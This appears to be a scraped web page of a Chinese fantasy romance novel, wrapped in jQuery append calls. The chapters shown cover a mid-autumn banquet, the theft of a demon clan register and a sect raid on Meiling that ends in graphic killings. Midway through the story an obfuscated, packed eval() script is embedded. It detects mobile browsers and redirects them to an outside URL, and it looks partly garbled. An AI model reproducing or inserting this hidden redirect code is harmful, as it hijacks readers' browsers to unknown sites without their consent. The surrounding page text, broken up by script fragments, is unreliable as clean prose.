$(''#content'').append('' 兰卿、辞盈:“闭嘴!” 长安:“这么凶干嘛……咦,璇玑,才中午就醒了?”嚼嚼嚼。 璇玑自从被钟离渊一巴掌扇下来,就落下了ptsd,贴着墙根溜进来,腿还有点瘸,走路悄无声息,说话好像喵喵叫:“街上有个人类在卖头发,说是圣女的毛发,煎水喝能延年益寿。” 长安眼睛一亮:“那头发香吗?我去闻闻就知道真假,圣女姐姐的香味我一辈子都忘不了。”嚼嚼嚼。 钟离渊眼神一冷:“骗子,杀了。” 兰卿问:“人在何处?” 璇玑:“已经带到,在门外等着。” 兰卿:“请他进来。” 大门打开,男人穿得破烂,向门外的丫鬟鞠了躬,缩着肩膀进来,并不敢抬头,只往眉毛上头瞄了一眼,见座上锦衣华服的兰卿气度不凡,连忙作揖:“给郎君问好,小人刘铁柱是来献宝的。” 兰卿不动声色地看了辞盈一眼:“老伯莫怕,不知这宝物你是如何得来?” 男人道:“不敢欺骗郎君,那圣女乃是小人的女儿。” 众人皆惊,齐刷刷看向辞盈。 男人不见回音,斜眼瞟向旁人,登时一愣,激动得发颤:“妮儿!你……你还活着!” 辞盈呆若木鸡。 这名义上的父亲,她只在三年前草草见过一面,连长相也记不清,只当他已经在坑里饿死或者被蟠龙帮砍死了,没想到他竟然因祸得福活了下来。 男人刚想上前认亲,见她旁边站着的少年既漂亮又神情可怖,肤色白得像刚从坟头里爬出来的僵尸,便吓得不敢造次,只激动得老泪纵横: “没想到你还活着,太好了,真是太好了!妮儿,你还生爹的气吗?爹知道错了,爹也是没有办法啊……” 哭着哭着,男人干脆扑通一声跪在她面前,开始猛抽自己耳光。长安吓得一哆嗦,梨膏糖撒了一地,连忙去扶:“老伯你别这样,一家人有什么大不了的事嘛,你这样看得我都想哭了。” 男人不肯罢休,拉着辞盈的袖子哭求:“爹再怎么不对,也是为了你娘和你弟弟着想,要不然爹怎么忍心把你送出去呢,你是我的亲生女儿,是我的心头肉啊!” 气氛烘托到这,辞盈忍着心里一百个别扭,也没法再说什么,只觉得袖子上的手尤其碍眼。 “有话好好说。”兰卿开口,“长安,快扶伯父起来。辞盈姑娘,你也劝劝吧。” 一只苍白的手忽然伸过来,两根手指毫不客气地捏住男人的手腕,力道却像铁钳。男人额头瞬间冒出汗珠,疼得龇牙咧嘴,不得不松开手。 “老伯你没事吧?”长安瞪着钟离渊,“干什么欺负老人!姐姐你看,他果然是个坏人!” 钟离渊意味深长地扫了兰卿一眼,然后拽着辞盈出了门。她被他牵着穿过长廊,在水榭湖边漫步,走了一段,她扭头看他。 他好像在生气。 他生气的时候就会稍微抬起下巴,眯着眼,连嘴角也紧绷着。 她奇怪,戳他冷冰冰的腮帮子:“你生什么气?” 风吹起几缕银发,钟离渊眉心的花钿若隐若现。他皱眉盯着她半晌,像是终于消化了怨气,才叹了一声。 “算了。” “怎么了嘛。”她跳到他面前,拦住他的去路,笑嘻嘻地扯他的袖子,“就因为我不让你杀兰卿?还是因为长安胡说八道?” 钟离渊抱着手臂瞧她,一副很难哄好的样子: “你明明厌恶那人,却硬着头皮听他哭嚎,是怕花妖和那蠢狗觉得你无情无义。”他语气发沉,“我气的是,你从来不在乎我怎么想,却在乎那些人的看法——他们到底有什么值得你在乎的?” 辞盈愣住。 本以为他在塔里关了三百年,应该不通人情世故。此刻才惊讶地发现,他竟把自己看得一清二楚。 而他的话也提醒了她,套在圣女壳子里时间久了,她竟越来越不像从前的姜晚了。 什么时候起,她开始在乎别人的感受了? “嗯,你说的对。”她笑了笑,“以后我才不管他们呢。” “那花妖如此珍视竹林,必有蹊跷。” “说的对。” “明天我便砍掉一半竹林,逼他交出妖族谱。” “说的……不行。”辞盈双手交叉,“不是说好了要做好人吗?你这是强盗行为。” 钟离渊略一思量:“那我把蠢狗杀了,逼他就范。” “达咩!我还要不要功德啦!”辞盈怒道,“我水云剑宗乃是人间正道,岂能欺凌弱小。” 钟离渊:“所以?” 辞盈:“区区一个妖族谱而已,我们偷来不就行了。” 钟离渊:“水云剑宗果然光明磊落。” 辞盈:“别管。有位名人有云,窃书不算偷。 24. 美人计 繁星缀满夜空,银钩似的月亮悬在墨蓝幕布上。竹林在晚风里沙沙作响,树影被月光拉得忽长忽短,在地上晃出几分鬼魅的婆娑。 远处,一缕奇异的香气正若有似无地飘来。 长安那双圆溜溜的眼睛瞬间眯成了细缝,毛茸茸的耳朵抖了抖,鼻尖抽动,循着香味就找了过去。 客房后的花园凉亭藏在角落里,幽静得能听见虫鸣。大理石桌上,一只大碗静静放着——酱色的排骨裹着油亮的汤汁,浓稠的糖醋汁在边缘勾出金色的弧线,热气裹着焦香与甜鲜,像长了脚似的往人鼻尖里钻。 辞盈朝他勾手指:“长安,过来。” 长安眼睛亮得像藏了两颗星星,“噌”地跃上凉亭,张嘴凑过去:“啊——” 辞盈夹起一块排骨塞进他嘴里,手轻轻捋着他的黑卷毛:“真乖。” “这么晚了,姐姐怎么还不睡?是惦记你爹爹吗?”嚼嚼嚼。 辞盈都快把那人忘到脑后了:“他走了?” “住了两天就走啦,主人还给了他银钱呢。”嚼嚼嚼。 “噢。”辞盈心不在焉地应着,“你家公子倒是个好人。这几日瞧着人来人往的,我能看出来,整个梅岭都很信任他。” “那是自然!我家公子是这世上最心善的!”长安满脸骄傲,又张大嘴,“啊——” 辞盈赶紧又夹了一块递过去:“我想在兰府多住几日,你可欢迎吗?” “当然欢迎!姐姐干脆别走了。”长安兴奋得尾巴几乎要摇起来,“我们梅岭好吃的多着呢,一点不比外面的人间差!璇玑整天就知道睡觉,闷死我了。姐姐要是留下陪我,我带你逛遍梅岭!”嚼嚼嚼。 辞盈叹气:“我最近也想逛逛,可兰府太大了,我不知道有什么忌讳,怕冲撞了公子,惹他不高兴。” “没事的,我家公子才不会对姐姐发火呢。”嚼嚼嚼。 “我不能失礼。”辞盈紧紧盯着他,“长安,你知道哪个房间是公子最不喜欢外人乱闯的吗?” “唔。”嚼嚼嚼,“除了公子的卧房和西南角的湖心水榭,其它地方好像都没什么特别禁忌。” “湖心水榭?”辞盈眉梢微动。 “啊——”长安又要投喂。 “那地方为什么特别?”辞盈追问。 “我也不清楚呀,主人在那儿设了禁制屏障,从来不许任何人靠近打扰。”嚼嚼嚼。 “那他自己呢?也不去吗?” “他每天都去的。”嚼嚼嚼。 辞盈嘴角勾起一抹狡黠的笑:“那我可不能去打扰了。” “这排骨太好吃啦!姐姐姐姐,你对我真好,明天我还想吃!”长安突然张开双臂,献上一个热情似火的拥抱。 “铿——” 一道卷毛黑影“嗖”地被弹飞出去,过了几秒,院墙外才传来“噗通”一声坠地的闷响。 钟离渊斜倚在石圆桌边,慢条斯理地掸了掸衣襟,伸出一根手指挑起辞盈的下巴:“美人计?” 辞盈伸出一根手指,左右摇了摇:“对长安来说,还是排骨更诱人。不过水榭有禁制,你打算怎么进去?” “哼。”钟离渊冷笑一声,“我只需……” “不许硬来!”辞盈打断他,“七天后就是中秋,我们可以智取。” “怎么智取?” “我把他灌醉。”辞盈阴险地笑,“然后你去偷族谱。” …… 长街两侧,朱红灯笼一路高悬,孩童举着兔儿灯在人群里追逐嬉笑,糖人摊子前围满了看手艺的百姓。桂花酒的清冽混着月饼的甜腻,在喧闹的人声里飘来荡去。 祠堂前堆起三层高的月饼塔,族老击鼓祭月时,家家户户的窗棂都透出暖黄的光晕,梅岭的中秋,竟比外界还要热闹几分。 兰府更是华灯璀璨,锦绣满眼。 辞盈提前啃了三张饼垫肚子,摩拳擦掌预备在酒桌上大干一场。 兰卿笑吟吟地坐在一张朴素的楠木圈椅上,既不坐正北的主位,也不靠近上座,偏选了个靠窗的位置。背后,一树桂花斜斜探进窗来,偶尔有花瓣悠悠落进他的酒杯里,他也不在意,一并饮下。 长安抱着一只羊腿啃得正欢,璇玑懒洋洋窝在角落里喝甜酒。 “钟离少侠,我敬你一杯。”兰卿率先举杯,朗声道。 钟离渊手里捻着一枚剑穗,眼皮也没抬:“不喝。” 辞盈掰了一小块月饼塞进他嘴里,低声警告:“礼貌呢?再这样你就把剑穗还我。” 他嘴里含着月饼:“不可能,它是我的了。” “你又不使剑,要它干嘛?” 钟离渊不理她,只将那红彤彤的剑穗颠来倒去地瞧:“这是你亲手编的,叫什么结?” “中国结。” “不错。” 兰卿起身,整了整衣襟,肃然道:“昨夜,漓音湖上那百年的封印竟消失了。梅岭的妖民从此便可捕鱼捉蟹,日子能宽裕些了。钟离少侠解了我梅岭百年之困,施恩不求报,侠义不留名,兰某自愧不如。” 辞盈懵了:“什么?那封印你说解就解了?都不跟我商量一下?” “放心。”钟离渊转头跟她说话,毫不理会兰卿举着的酒杯,“我查验过,湖里没有妖邪,只是比寻常湖泊的水产丰富些。” 席间鼓乐嘈杂,听不清楚,钟离渊便低头凑近她,两人头挨着头,看起来亲昵得像是在耳鬓厮磨。 兰卿被晾在一旁也不恼,笑道:“辞盈姑娘,若非有你引荐,我也无缘结识钟离少侠。这杯该先敬你才是。” “兰公子客气了。”辞盈举杯饮尽,又问,“我倒好奇,既然漓音湖里没什么怪异,怎么会被封印百年?” 兰卿拂袖坐下,语气沉了几分:“自然是那些修道仙家的霸道行径。像漓音湖这样水产丰富的湖泊,不知有多少被他们封印起来,只许人类打捞,不许妖族沾染分毫。” 辞盈哦了一声:“哪家门派这么霸道?” 兰卿冷笑:“要说霸道,如今世上还有谁比得过水云剑宗。” 辞盈一口酒猛地呛在喉咙里,咳得直不起腰。 “慢点喝。” 钟离渊递过绢帕,轻轻替她抚着背,凑到她耳边低声冷笑,“可曾想过,你心里奉为神明的人,在别人眼里,或许和我这魔头也没什么区别。” “你是说,漓音湖是水云剑宗封印的,就为了不让梅岭的妖民打捞?” “这话只对了一半。”兰卿接话,“漓音湖的确是水云剑宗墨让尘所封,只是他封印时不知梅岭有妖——否则,他早已将我们赶尽杀绝。” 兰卿提到“墨让尘”三个字时,平日的温和公子从容气度全没了,语气里藏着咬牙切齿的恨。 墨让尘厌妖,是出了名的。 自八岁在醉花剑下斩了第一条蛇妖起,他的斩妖除魔之路就没停过。从昆仑山到云梦谷,从曼陀洞到彭蠡泽,杀得四海妖魔一提他的名字就胆寒。 他总说,妖就是妖,即便化成人形,也不懂人伦纲常,终究是邪魔外道,祸患无穷。 长安放下啃了一半的鸡腿,气鼓鼓地说:“璇玑的腿就是被水云剑宗打断的!她做错什么了?就想在街上捡口吃的而已!而且何止她,这梅岭的妖,谁没被人欺负过?” 辞盈尴尬地清了清嗓子,站起来高举酒杯,扬声道:“漓音湖重见天日,我真心为梅岭高兴,为诸位高兴。这杯,敬梅岭!” 兰卿也起身,郑重举杯:“敬梅岭!” 众人纷纷随之举杯,群情激昂: “敬梅岭!” 饮完酒,兰卿放下酒杯,从怀里取出一本册子:“兰某言出必行。” 长安一溜小跑接过妖族谱,送到钟离渊面前。 “多谢。”钟离渊捏着那本册子,指节有些发白。 那是他三百年的希冀。 辞盈长长地舒了口气。 不管怎么说,一切都在变好。梅岭,漓音湖,妖族谱,总算都拨云见日了。 酒过三巡,众人都带了醉意,只有钟离渊滴酒未沾,独自在角落里埋头翻书。 长安早踢了鞋袜,蜷在罗汉榻一角,指着窗外的明月大叫:“我们梅岭就是 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兰卿倚着窗栏,却没看月亮,而是穿透层层瓦舍,望到很远的地方,“她很可爱,也很聪明,我们从小一起长大,她也喜欢像你这样笑,却不喜欢喝酒。” “哦?”辞盈捧起西瓜。 “因为她嫌酒的浊气太重,她说,再好的酒也不如我的花蜜清甜。” 兰卿手掌一翻,空酒杯里就盛满了散发着花香和蜜糖香气的液体。 “尝尝?” 辞盈端起酒杯轻抿一口,眼睛立刻睁大:“果然好好喝!”她抱着杯子滋溜滋溜地喝,“嗯嗯,嫁给兰花也不错嘛。你又这么温柔,你的小青梅将来一定很幸福。” 兰卿举杯的手顿了一下。 “可她命不好,刚下山就碰见了墨让尘。” 听到这个名字,辞盈心里猛地一揪,手里的酒杯差点掉在地上。 “她伤得太重,我救不了,就去药王谷求霍神医。霍神医是个好人,给了我一个方子,说醒过来是不可能了,只能勉强吊着一口气,跟活死人差不多。而且她是竹精,得常年靠竹林的灵气滋养,肉身才能不腐。” 怪不得他那么在乎竹林。 兰卿的眼神迷茫地飘了一圈,又一点点暗下去,像燃尽的灰烬。 “我真后悔当年没陪她一起下山。辞盈,人有时候就只有一次机会,错过了,就再也没有了。” 他们本该是一对璧人,郎才女貌,如今却一个永远无知无觉地躺在水榭,一个困在无尽的追忆和悔恨里。这样的兰卿,怎能不恨墨让尘,不恨水云剑宗? 辞盈心里像堵了块石头,又酸又涩。她故作轻松地推了他一把:“别说丧气话。我一个圣女都能跟一群妖做朋友,还有什么不可能的?只要不放弃,以后说不定就能救活她呢。” 兰卿又喝了一杯,神情比窗外的月色还要落寞。 辞盈只能借着醉意,用连自己都不太信的话安慰他:“相信我,别放弃希望,嗯?” 兰卿昏昏欲睡地摆了摆手:“我信……” 辞盈对着他,倒像是在自言自语:“你信我,对吧?我们是朋友,对吧?朋友不该骗人的,对不对?我该说实话的……可我没说啊……” “对不起……我没说实话啊……” 她念念叨叨,鼻子一酸,视线就模糊了。她抹了把眼泪,手里的酒杯却被人夺走了。她不依不饶地拽住那人的衣领,盯着他雪白的脖颈,耍赖着嘟囔:“你抢我酒干嘛?你喝吗?不喝就还给我!” 那人仰头,漂亮的喉结上下滚动了几下,“咕咚咕咚”把杯里的酒喝了个精光,然后弯腰抱起她,大步流星地离开了筵席。 辞盈觉得天旋地转,那人拐了几个弯,推开一扇门,把她丢在榻上就不管了。 头好晕,妖酿的酒劲也太足了。 她枕着自己的胳膊,迷迷糊糊地看着那人坐在桌前翻书。不知过了多久,她感觉他也摇摇晃晃地走过来,“咚”一声栽倒在她身边,没了动静。 25. 天塌下来我担着 好颠。 又暗又闷,还在上下颠簸。 这是什么地方。 额头在粗糙的麻料上蹭得生疼,她猛地睁开眼,只撞见浓得化不开的黑——自己被捆在麻袋里,那绳索缠着冰凉的咒力,挣一下,勒得骨头缝都发颤。 是谁? 兰卿抓我没必要用麻袋吧。 长安手里有鸡腿不可能对我有兴趣。 钟离渊?这又是什么别出心裁的变态play? 忽的,麻布粗斜的针脚里挤进来几缕金光,忽明忽暗,像一串被点燃的咒文正顺着布纹爬。辞盈心头一沉,这光……太熟悉了。 后背撞上坚硬的青石板,疼。辞盈像猪仔一样被扔到地上,听见麻袋外面讨好的声音:“几位仙长,这便是我那忤逆不孝的女儿,任凭仙长处置。嘿嘿,我那个……说好的灵石……” 几声碎石洒落在地,那人边捡边道谢:“小的还打听到,这府里有个湖中水榭,那主人公子每日都要去看,八成有什么宝贝……” “住口!”辞盈在麻袋里怒喝,“刘铁柱,你再敢胡说,我剜了你的舌头!” 刘铁柱气道:“反了你了!哪有女儿敢跟亲爹这么说话,真是混账!几位仙长,求求你们替我做主,赶紧把这小畜生处死了吧。” 说着,他解开麻袋,胡乱将辞盈倒出来:“学了几年仙法,连老子也敢不认了,白吃老子这么多年的粮食,没有良心的畜生,你的命都是我给的,卖了你换钱怎么不应当了!” 宿醉的头疼像有锥子在钻,辞盈强撑着抬头。垂花朱门大敞,门口血泊里倒着两个看门人,靛蓝道袍正鱼贯而入,衣袂上的阴阳八卦纹格外刺目。 果然是水云剑宗的人。 几个弟子身处四角,以剑指天布下阵法,阵中咒符金光交织成天罗地网,正是水云剑宗最擅用的收妖阵,也唤缚灵阵,普通妖灵一旦踏入阵中便无法逃脱,很快便会耗尽妖力,褪回原型。 院子里的丫鬟小厮大多是听到声音过来查看,刚一露面就被扣在收妖阵中,不少丫鬟已经扛不住,东倒西歪躺了一地。几个负责布阵的弟子悍然而立,手持化妖袋念念有词。 这么多年,梅岭不是一直隐藏得很好吗,怎么会忽然被水云剑宗发现? 辞盈忽然反应过来,怒视刘铁柱:“是你引他们来的?” 为首的道士踱出来,竟是岳朝阳,悍然大笑:“说来也巧!我们从附近山中路过,正碰上你这便宜爹。要不是他主动引路,这梅岭之外幻象重重,还真不容易发现。” 辞盈急道:“梅岭的妖众都安分守己,从未惹事生非,也从不害人,岳师兄请手下留情!” 岳朝阳作为传功长老座下首徒,向来在众人面前颇有威望。自从上次在执法殿因为“吐真言”出丑,被师父暴打一顿还关了禁闭,他便将此事当作奇耻大辱,誓要将辞盈扒皮抽筋才能报仇雪恨。 此时见她情态急切,岳朝阳心里莫名舒爽,笑道:“妖便是妖,岂有好坏之分,师妹,你忘了宗主的教诲了吗?今日我定要荡平这妖精窝!” “就是,一群妖怪,还装模作样的打赏我,他们也配!”刘铁柱啐了一口,“以为套个人皮就能变成人啦?我呸!一群畜生,什么东西。死丫头,你这么盯着我干什么,瞪我我也不怕你!” 他一边骂,一边不自觉地往旁边道士身后躲,那人正立在辞盈面前,眼神凶狠: “小师妹,别来无恙啊。” 辞盈定睛一看,真是冤家路窄,怎么偏偏碰上带队的是这两个死对头。 一个岳朝阳就够烦了,另一个竟是那日将她捆上刑台的王莽。他师父执法长老被钟离渊当众掏心,这弒师之仇,他这辈子肯定没机会找钟离渊报了,当然也要报在辞盈身上。 岳朝阳笑得阴阳怪气:“王莽师弟,依我看你该多谢她,要不是她召来那邪魔杀死执法长老,你哪有机会转投我师父门下呢?” 王莽脸色难看:“你说什么!” “别动气,开个玩笑。”岳朝阳怀抱佩剑,绕着辞盈转了一圈,“师妹,那日你和江羡之联手陷害我,让我在执法殿丢尽了脸,这笔账咱们今天也该好好算一算了罢。” 辞盈忍着头疼在识海里搜寻一圈,混沌得一塌糊涂,压根感应不到钟离渊半点神识。 简直像是人间蒸发了。 刚才筵席上这货不是一直冷眼旁观埋头苦读来着吗,没看见他喝啊,怎么这会儿醉得跟死螃蟹似的? 眼下情势,只有拖延时间等那祖宗酒醒了来救命。 “岳师兄,那日我真不知道是谁搞的鬼。我一个女子,在剑宗立足本就困难,怎么敢成心跟师兄作对呢?” 王莽拔剑怒喝:“少废话,今日我便要清理门户,替我师……替执法长老报仇!” “慢着——”岳朝阳突然说,“现在还不能杀她。” “为何?” “师弟,我可是为你好。刑台之上你也看见了,宗主简直视她如珍似宝,”岳朝阳嘲讽道,“你现在动手杀了他的爱徒,日后若被宗主得知,不怕他扒了你的皮?” 王莽只好收剑入鞘,犹豫不决:“那你说怎么办?” 岳朝阳道:“她自然不能死在你我手中。但今日我们来梅岭除妖,乃是为了正道,若这兰府着火,她又正好倒霉,葬身火海,可就怨不着你我了。” 说完,他伸手在辞盈脸上黏糊糊地摸了一把:“实在可惜,这么漂亮的脸蛋。若是甜言蜜语两句,莫说宗主,哪个男人又能忍得住呢。师妹,你要不要试着求求我?” 辞盈面无表情看着他的斗鸡眼:“我以为你这眼神看不出美丑呢,你现在看我不重影吗?” “你不想活了?!”岳朝阳被当众揭短,勃然大怒。 辞盈冷笑:“敢用你的脏手碰我,岳朝阳,我看你才是不想活了!” 岳朝阳下意识一哆嗦,左右看看众人,高声下令:“今日之事,回到剑宗谁也不许走漏半句!若敢被宗主知道了,你们个个都是同谋共犯,一个也跑不了!” 不远处乌鸦忽然惊起,房檐上涌起浓烟,一团黑蟒窜上天,焦味混着风吹过来。辞盈惊得攥紧了拳:“你烧了什么?!” 岳朝阳轻蔑道:“妖种的竹也是一股子邪气,看着就不顺眼,正好点了作引,将你与这整个妖精窝一并处理干净。” 那竹林……是兰卿豁出命也要护着的地方! 辞盈觉得喉咙发紧,太阳穴突突地跳,耳膜鼓动着尖锐的嗡鸣,周围的一切都变得模糊,浑浑噩噩地被人推着走了一段,恍惚又听见声音: “这便是湖中水榭了。” 岳朝阳从乾坤袋中取出一个青铜罗盘,默念咒语,盘中星辰逆旋移位,盘心喷涌出淡蓝色星砂。 笼罩水榭若隐若现的淡绿色光晕突然如冰晶炸裂,万千灵力碎片坠入湖面,惊起一圈圈发光的涟漪。倒映在湖面的残缺月影忽然愈合,整个水榭发出古琴般的嗡鸣。 禁制被打破了! “仙长神通!我这便去替仙长把宝物搬出来!” 刘铁柱激动地跑到湖边去抓舢舨。突然,从湖边树丛里窜出个黑影,一脚将其踹翻。刘铁柱摔掉了两颗门牙,疼得嗷嗷乱叫。 “哪个敢到兰府放肆!” 长安浑身酒气,双目冒火,一手一个抓起两个剑宗弟子丢进湖中,随即扑进人群厮杀起来。剑宗弟子慌忙结阵,长安却如入无人之境,腹背受敌也丝毫不退。 “妖孽,还敢垂死挣扎。” 岳朝阳手上罗盘翻转,场中金光法阵骤然变色,淡蓝光圈如钢筋铁环迸射而出,套住长安越缩越紧。 “长安别动!”辞盈急呼。 这缚灵玄冰环乃是百年之前墨让尘所创,专门对付法力高强的妖怪,越是挣扎便越是勒紧,直勒进骨肉当中。除非施法者主动放手,任你力大无穷也无法挣脱。 长安双臂被缚,见利刃劈下,纵身一跃,滚至湖边舢舨上。刘铁柱刚登上舢舨,撑杆欲走,见这人高马大的黑影撞进来,吓得差点儿扔掉船篙。 “不准碰水榭!”长安怒道,“我主人待你不薄,你怎能恩将仇报!” 刘铁柱不理,只顾撑篙。突然惨叫一声,他的小腿被长安死死咬住,船篙掉进水里。 “不知死活的畜生!”刘铁柱怀里不知何时藏了匕首,掏出来狠狠捅进长安胸口。 “长安——!” 辞盈的呼吸瞬间停了。 院落深处火光舔着房檐,灼热的风卷着竹叶烧成的灰烬落在湖面上,清澈的湖水染成了墨色。 没料到长安中了刀还不肯松口,恨不得撕下一块肉来,刘铁柱怒极,拔出来又当胸补了一刀。长安胸口鲜血如注,眼白一翻,脑袋垂了下去。 辞盈喊破了音,浑身血液瞬间沸腾,牙齿不受控制地咯咯作响,指甲深深嵌入掌心却浑然不觉疼痛。 他们该死。 应该统统都杀了! 腰间佩剑突然红光大作,阵阵嗡鸣,竟然自觉感应而起,一剑将捆住她手腕的绳索斩断! “她要逃跑!” 岳朝阳报仇心切,拔剑便劈,辞盈脚下打旋,堪堪避开,仿佛要逃,长剑却转了个不可思议的角度,斜刺向他腋下,岳朝阳始料不及,剑刃在腰间犁出一道深痕,血珠霎时殷透道服。 “妖女!” 岳朝阳忍着剧痛,刚要骂,辞盈已如离弦之箭扑来,长剑像活了似的,猩红的剑气所向披靡,一时分不清不知是她在操纵佩剑,还是被佩剑所控。 这女的好像疯了! 岳朝阳招架不住,胡乱挡了两下,慌忙撤回人群。 “仙长带上我!”刘铁柱见势不好,也想跟过去,被辞盈一掌拍进湖里,咕噜咕噜地喝水,扑腾着呼救。 “事已至此,没有回头路了。”岳朝阳喘着气,惊慌失措,“若被她逃回去向宗主告状,你我都得完蛋。王莽,咱们一起上!” 话音未落,忽听见一阵奇异的怪响,像什么坚硬的东西破土而出。 弟子中传来一声惨叫,众人惊悚地四下寻找,发现那人脚下的青石板地里竟长出了带刺的藤蔓,穿透骨肉如同刀剃豆腐,迅速蔓延全身,再从七窍里钻出来,五脏六腑都已化作花泥养分。 紧接着,各块青石板下接二连三生出藤蔓,众人大惊之下,鬼哭狼嚎四散而逃,阵法乱作一团,局面登时扭转了。 “不对劲,咱们先撤吧!” 王莽拿剑的手突突地哆嗦,边说边往外退,回头发现岳朝阳动作凝滞,仿佛被什么东西缠住了双脚。 “你怎么了?”王莽警惕地后退几步。 伴随着石板碎裂,从岳朝阳脚下生出的藤蔓却不带刺,反而交织着五彩花苞,瞬间将他捆成一团,王莽挥剑斩断一根,立刻从旁支疯涨出数根,如毒蛇般顺着剑身盘踞而上,吓得王莽直接连剑也丢了。 “有妖术——救命啊!” 漫天火光之中现出一个人影,手持骨扇,面色阴郁可怖,扬袖抛出无数殷红色花瓣,边缘泛着寒光,如暴风雨般席卷而出。众弟子无处可藏,花瓣划破之处皮开肉绽,再从血管里生出妖异的红花,一时惨叫声此起彼伏,犹如人间炼狱。 “谁动了竹林。” 兰卿脸色苍白,眼底却猩红,指尖杀意肆虐,浑身上下散发着陌生的凛然妖气。 “是……是他!”王莽连连倒退,连话也说不利索了,“不关我的事,都都都是他做的!” 兰卿毫无温度的目光落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101555|195737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在岳朝阳身上,仿佛在看死人。 “是你。” “不是我……我什么都不知道……”岳朝阳的脖颈被藤蔓越勒越紧,直涨得满脸通红几乎窒息,身上的花苞还在竞相绽放,娇艳无比,画面十分诡异。 濒死之时,他拼尽全力从嗓子里挤出声音:“师妹……师妹救救我……看在宗主和水云剑宗的面子上……救救我……” 兰卿手上动作一顿,冰冷的目光缓缓移向辞盈,不可思议地望着她:“他叫的是你?” 仿佛浑身的力气都被抽走,辞盈觉得他好像已经出手了,他震惊又愤怒的眼神像藤蔓一样快要将自己勒死。 “你是水云剑宗的人。”兰卿盯着她,“你是墨让尘的人。” 辞盈手脚冰凉,喉咙发紧,艰涩道:“我是……但我不是成心要骗你,请你相信我。” “我的确是太相信你了。”兰卿道,“辞盈,你带人烧我竹林,杀我妖族,也都是墨让尘授意的吗?” “我没有。兰卿,我不想骗你,墨让尘的确是我师尊,但我来梅岭与他无关,我也没有任何要伤害你们的想法……” “好。”兰卿打断她,“你敢承认身份,也算是一种坦诚,不必多说,是我识人不清,怨不得旁人。” 岳朝阳奄奄一息地倒在地上,浑身开满了各色花苞,越是挣扎,花开越是娇艳欲滴,渐渐连惨叫和呻吟也吞没在花苞里。 身后许多弟子还在勉强对抗,而王莽却早已不知去向。 辞盈余光瞥见一个黑影溜过去,竟是刘铁柱又从湖里湿漉漉地爬了出来。 “你倒命大,竟还没死。” 她掐住刘铁柱的后颈狠狠掼在地上,在他爬起来之前又一脚踩住他的脑袋,剑尖抵住背心。 “救命啊!女儿要杀亲爹了——” 刘铁柱杀猪一般惨叫,“弑父有违天理人伦!世间没有这样的道理!你不能杀我!不能杀我!” 此人该死。 明明对其毫无感情,握着剑柄的手却止不住颤抖,如同被无形的锁链锁住了琵琶骨,咬紧牙关始终无法出剑。 “我可不是你女儿。”辞盈咬牙道。 刘铁柱脸被踩在地上,骂声不断:“不孝的混账东西!没有老子哪来的你!你敢杀你爹,你还是人吗!反了你了,赶紧放开老子!” 不甘心。 胸腔里翻滚着,沸腾着,像一簇无论如何也浇不熄火焰。那些殴打,辱骂和出卖的回忆,带着前世今生解不开的仇恨在眼前一一重叠。 冥冥中无数双眼睛在深渊里凝视自己,监视,指责,痛斥,嘲讽。剑尖抵着的不是人肉,是这世间不可动摇的秩序,不能被挑战的底线。 “闭嘴,我管你是谁!”辞盈浑身哆嗦,指节攥的发白生疼,深吸一口气。 下不去手,咬到牙根发麻竟然还是下不去手,沮丧的心气和剑尖一齐无力地垂落。 有人轻轻托住她的手腕。 炽热有力的手牢牢握住她的,稳住剑刃,像源源不断的力量注入身体,让她濒临崩溃的理智慢慢归位。 辞盈转头,正撞上钟离渊冰冷的眼睛。 “想杀便杀,天塌下来我担着。” 他带着她,用力,刺穿,拔出,归鞘,一气呵成。连半句惨叫也没有,刘铁柱立时断气。 “我真的杀了他……”辞盈盯着虚空,喃喃道。 钟离渊语气淡漠:“他该死。” 另一边的战场也已经了结。 残肢断臂散落一地,水云剑宗弟子的尸体横陈在血泊中,皮肤上爬满妖异的藤蔓,胸口绽开巨大的食人花,花瓣边缘还滴落着未干的血珠。 除了王莽和几个跑得快的,基本全军覆没。 血腥味和烧焦的竹叶味交杂充斥在鼻腔里,辞盈胃里一阵翻涌,蹲在地上干呕。 兰卿简单处理了长安的伤,将他交给璇玑,随即起身面向辞盈,手上祭出法器毒刺: “动手吧。” 虽然面向她,但这话显然不是在对她说。 钟离渊抱着胳膊挡在辞盈前面,一副你想打架我也无所谓的表情:“不是她做的。你要报仇,就应该直接去暮苍山找墨让尘。” “我打不过墨让尘。” “废物。” 兰卿凄然一笑:“我护不住青蘅的肉身,也护不住这梅岭的妖。我认不出墨让尘的弟子,害死这许多妖众。你骂得对,我的确是废物……” “不是这样的……”辞盈哽咽。 “不是吗?”兰卿突然额头青筋暴起,厉声吼道,“你不是墨让尘的弟子?这些人不是你和你爹带进来的?还是你想说我们本就该死,你们水云剑宗只是在除魔卫道?!” 辞盈自觉百口莫辩,只剩下一句干涩的“对不起”,显得轻如鸿毛。 “离开梅岭吧。逃回去的弟子一定会告密,梅岭已经不安全了。”她说到这里,心中酸痛,狠狠咬破了嘴唇。 这一片世外桃源,终究是不复存在了。 “请你们马上离开,”兰卿别过脸,“辞盈,我永远不想再看见你。” 孤独的背影在舢板上飘远,飘向湖心水榭。 “回去转告墨让尘,不必费心搜我,我迟早会去找他。” 辞盈从支离破碎的尸堆边走过,脚步虚浮,神情也有些恍惚,无意识扫过被藤蔓绞得扭曲变形的尸身,有几个小弟子十分眼熟,大概从前在山上碰见过,还跟她打过招呼,笑着叫过她师姐。 她怔怔地对着他们的尸体,像是迷了路,不知该往哪个方向才能回家。 “我想回家。” 钟离渊唤来鸣蛇,振翅的瞬间,两人都没说话。风声里,只有梅岭燃烧的噼啪声,和再也回不去的过往。 26. 想做坏事 “郎君主子与少奶奶回府了!” 钟离渊屏退周遭殷勤的奴仆,众人见他脸色阴沉得吓人,识趣地纷纷敛声退下,顷刻间小院便只剩两人。 院角的芍药开得正盛,血红色的花瓣簌簌落在青石板上,像铺了层碎裂的胭脂。辞盈望着满地落红发怔,声音轻得像一缕烟: “我想回家。” “已经到了。”钟离渊说。 “这里不是我的家。” 